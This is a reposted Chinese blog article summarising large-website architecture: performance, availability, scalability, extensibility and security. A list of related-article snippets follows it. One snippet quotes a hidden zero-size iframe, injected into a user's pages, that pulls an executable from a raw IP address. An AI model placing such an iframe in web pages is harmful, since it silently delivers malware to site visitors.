三、大型网站核心架构要素

news/2024/5/15 4:48:35/文章来源:https://blog.csdn.net/weixin_34356555/article/details/91731363

为什么80%的码农都做不了架构师?>>>   hot3.png

(1)性能:
  
  浏览器端:通过浏览器缓存、使用页面压缩、合理布局页面、减少Cookie传输等手段改善性能。CDN、反向代理服务器。

  应用服务器端:本地缓存、分布式缓存,异步操作(消息队列),集群。

  代码层面:使用多线程、改善内存管理等手段优化性能。

  数据库服务器端:索引、缓存、SQL优化。NoSQL数据库通过优化数据模型、存储结构、伸缩性能。

衡量网站性能指标:响应时间、TPS、系统性能计数器等。通过监控这些指标可以分析系统瓶颈,预测网站容量,并对异常指标进行报警,保障系统可用性。


(2)可用性:

  集群,冗余,负载均衡,数据备份。

除了运行环境,网站的高可用还需要如见开发过程的质量保证。通过预发布验证、自动化测试、自动化发布、灰度发布等手段,减少将故障引入线上环境的可能,避免故障范围扩大。

衡量一个系统架构设计是否满足高可用的目标,就是假设系统中任何一台或者多台服务器宕机时,以及出现各种不可预期的问题时,系统整体是否依然可用。

(3)伸缩性:

  衡量伸缩性的标准就是:是否可以用多台服务器构建集群;是否容易向集群中 添加新的服务器;加入新的服务器后是否可以提供和原来的服务器无差别的服务;集群中可容纳的总服务器数量是否有限制。


(4)扩展性:新增业务时,不需要改动或者较少改动现有业务。不同业务应用之间耦合性较低。
  
  主要手段:事件驱动架构和分布式服务。时间驱动架构:消息队列实现;分布式服务:抽取可复用性服务,通过分布式服务框架调用。


(5)安全性:

  衡量网站安全架构的标准:针对现存和潜在的各种攻击与窃密手段,是否有可靠的应对策略。

转载于:https://my.oschina.net/134596/blog/1785229

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_818330.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何通过SEO工具提升网站排名

如何通过SEO软件工具提升网站排名:网站跳出率高是海南网站优化哪些原因导致?如果网站跳出率80%,企业站,商品站的话,满足基础优化,用户需求的站会放到前20位。网站首页没有太大的吸引力。任何小的数据都要精准锁定,借助…

没时间解释了快上车!0.04折老司机建站节福利来了

CNNIC日前发布第39次统计报告称,国内网站去年增速高达14.1%。这意味着2016年,我国网站数量增长大约60万,网站作为企业信息化的基础迎来再次爆发。业内人士认为:H5自助建站迎来了最好的发展时机,“苦逼这么多年的建站行…

0.04折老司机建站节福利来了,没时间解释了快上车!

CNNIC日前发布第39次统计报告称,国内网站去年增速高达14.1%。这意味着2016年,我国网站数量增长大约60万,网站作为企业信息化的基础迎来再次爆发。业内人士认为:H5自助建站迎来了最好的发展时机,“苦逼这么多年的建站行…

服务器只能两个端口访问网站,一个服务器放两个网站端口设置

一个服务器放两个网站端口设置 内容精选换一换场景举例在同一个VPC内,用户需要将某个安全组内一台裸金属服务器上的资源拷贝到另一个安全组内的裸金属服务器上时,可以将两台裸金属服务器设置为内网互通后再拷贝资源。在同一个VPC内,用户需要将…

网站性能评测实验

实验内容 本实验的目的是利用主流的网站分析工具对Alexatop100的前5名网站进行分析,评价其网站性能。在本实验中,我将在Windows平台下进行实验,评测的网站是目前Alexatop 100 的前5名的网站,包括google.com, Facebook.com, Youtu…

UseOfMethods - 方法的使用 - Java

文章目录什么是方法?方法就是一个代码片段. 类似于 C 语言中的 "函数".方法可以理解为是一个 功能,实现某种我们想要达到的效果,而且这个功能是可以被重复使用的。方法存在的意义(不要背, 重在体会):方法的语法格式代码实例1&#…

听说,有些网站明文存储用户密码?

前段时间爆出 Facebook 明文存储用户密码,多达 6 亿用户,而它的用户总数是 27 亿,占比 22 % 。 看到这个消息,是不是很震惊? 无独有偶,之前有听过很多银行系统的密码也是明文(真假没有验证)。…

一个因pid文件丢失,nginx的进程起不来,网站页面无法访问的故事

问题描述: 公司的一个网站首页突然打不开,使用域名访问,页面一片空白。使用IP端口 访问,界面只能看到几个蓝色的标题,没有图片,排版混乱。 分析解决: 1、查看部署官网的nginx进程,进…

网站至今已停超过24小时,郁闷中...

最早想用一卡通来付钱,忘了把证书带在身边,网上银行使用不了了退而求其次,申请支付卡,被银行的人问了一堆的问题,很多天长地久谁能记得那么清楚,失败。再求其次,用别人的卡付帐,谁知…

快速在Ubuntu安装PHP网站

快速安装使用的是tasksel,tasksel是Debian / Ubuntu的工具,安装多个相关软件包作为一个协调的“任务”到你的系统。这个lamp-server^跟taskel这个程序有关。下面是详细步骤: 一、升级当前Linux环境 这里我采用UBUNTU发行版本,需要…

云服务器 ECS 搭建WordPress网站:购买域名

购买域名您可以给自己的网站设定一个单独的域名。您的用户可以使用易记的域名访问您的网站,而不需要使用复杂的 IP 地址。 建议通过 阿里云购买域名。 操作步骤 1.在购买域名页面,搜索想用的域名,如尚未被注册,则可以购买。选择要…

python 第一个网站应用

Hello,第一个网页分析 打开文本编辑器。这里要说一下啦,理论上讲,所有的文本编辑器都可以做为编写程序的工具。前面已经提到的那个python IDE,是一个很好的工具,再有别的也行,比如我就用vim(好像我的计算机…

wallhaven壁纸网站改版后爬虫小例子

wallhaven壁纸网站改版后爬虫 新手上路,老司机绕路 最近学习python,尝试写一点小爬虫 这是改版后的wallhaven壁纸网站,爬取热门榜单。首先对网站进行分析 按F12启动开发者工具,对网页进行分析。 现在页面上的图片都是缩略图没有爬…

ASP.NET WEB网站简单入门(简单Demo -发布)

简单分几个阶段 一、简单代码实现 1.新建工程 2.打开设计器(查看设计器),托出一个label ,写上Hello 3.点击调试,即可看到网页效果 4.重新生成后,发布到指定路径下 5.弹出网站发布设置面板,点击&l…

爬虫7----动态网站抓取

一、Ajax和动态HTML 二、Selenium 使用教程 一、实例1 二、元素的选取 2.1实例讲解 三、页面操作 1.页面交互和表单填充 代码如下: 2.元素拖拽 3.切换窗口 3.如何切换frame selenium提供了**switch_to.frame()**方法来切换frame 3.1、从frame中切回主文档…

亿恩云主机,网站所有页面头部开始被插入iframe,提交问题给亿恩技术,回应的是沉默...

用的亿恩的云主机&#xff0c;今天发现所有页面头部最开始被插入了如下一段代码&#xff1a; <iframe src http://122.224.95.100:6655/server.exe width0 height0></iframe> 后经检查&#xff0c;服务器上的文件并没有被篡改&#xff0c;补丁也打了&#xff0c;也…

五款开源免费的建站系统推荐

最近研究了下开源的建站系统&#xff0c;推荐5款国内的吧&#xff0c;都有免费版本&#xff0c;有需要可以去试试。 ECTouch ECTouch是一款开源免费的移动商城网店系统。能够帮助企业和个人快速构建手机移动商城并减少二次开发带来的成本。 ECTouch采用PHPMYSQL方式运行&…

学英语好网站

转载于:https://www.cnblogs.com/DeeLMind/p/7627276.html

[网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防护

这是作者的系列网络安全自学教程&#xff0c;主要是关于网安工具和实践操作的在线笔记&#xff0c;特分享出来与博友共勉&#xff0c;希望您们喜欢&#xff0c;一起进步。前文分享了Python网络攻防基础知识、Python多线程、C段扫描和数据库编程&#xff0c;本文将分享Python攻防…

简单用户登录网站(HttpServlet1.1版本)

案例说明:用户在登录界面输入非空信息,在欢迎页面显示用户信息 Login1.java 用户登录界面 对Login1.java进行Servlet部署 LoginCl1.java 用户业务逻辑处理,采用sendRedirect()方法 对LoginCl1.java进行Servlet部署 Wel1.java 欢迎页面(显示用户信息) 对Wel1.java进行Servlet部署…